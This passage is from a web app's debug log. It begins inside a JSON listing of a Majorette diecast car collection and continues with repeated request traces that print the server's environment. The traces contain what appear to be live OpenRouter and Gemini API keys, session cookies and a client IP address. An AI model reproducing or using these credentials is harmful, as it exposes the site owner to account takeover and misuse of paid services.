      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:18:15.617Z server-connect:router Serving templateView /
2026-02-04T07:18:15.617Z server-connect:app Executing action step identify
2026-02-04T07:18:15.617Z server-connect:app options: { provider: 'security' }
2026-02-04T07:18:15.617Z server-connect:output identity: 1
2026-02-04T07:18:15.617Z server-connect:app Executing action step restrict
2026-02-04T07:18:15.617Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:18:15.617Z server-connect:output restrict: undefined
2026-02-04T07:18:15.617Z server-connect:app Executing action step restrict
2026-02-04T07:18:15.617Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:18:15.618Z server-connect:output restrict: undefined
2026-02-04T07:18:15.618Z server-connect:router Render template layouts/main
2026-02-04T07:18:15.618Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?series=&search=&manufacturer=72&brand=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?series=&search=&manufacturer=72&brand=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:18:37.391Z server-connect:router Serving templateView /
2026-02-04T07:18:37.392Z server-connect:app Executing action step identify
2026-02-04T07:18:37.392Z server-connect:app options: { provider: 'security' }
2026-02-04T07:18:37.392Z server-connect:output identity: 1
2026-02-04T07:18:37.392Z server-connect:app Executing action step restrict
2026-02-04T07:18:37.392Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:18:37.392Z server-connect:output restrict: undefined
2026-02-04T07:18:37.392Z server-connect:app Executing action step restrict
2026-02-04T07:18:37.392Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:18:37.392Z server-connect:output restrict: undefined
2026-02-04T07:18:37.392Z server-connect:router Render template layouts/main
2026-02-04T07:18:37.393Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?series=&search=&manufacturer=72&brand=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?series=&search=&manufacturer=72&brand=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:18:43.665Z server-connect:router Serving templateView /
2026-02-04T07:18:43.665Z server-connect:app Executing action step identify
2026-02-04T07:18:43.665Z server-connect:app options: { provider: 'security' }
2026-02-04T07:18:43.665Z server-connect:output identity: 1
2026-02-04T07:18:43.665Z server-connect:app Executing action step restrict
2026-02-04T07:18:43.665Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:18:43.666Z server-connect:output restrict: undefined
2026-02-04T07:18:43.666Z server-connect:app Executing action step restrict
2026-02-04T07:18:43.666Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:18:43.666Z server-connect:output restrict: undefined
2026-02-04T07:18:43.666Z server-connect:router Render template layouts/main
2026-02-04T07:18:43.666Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?series=&search=&manufacturer=72&brand=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
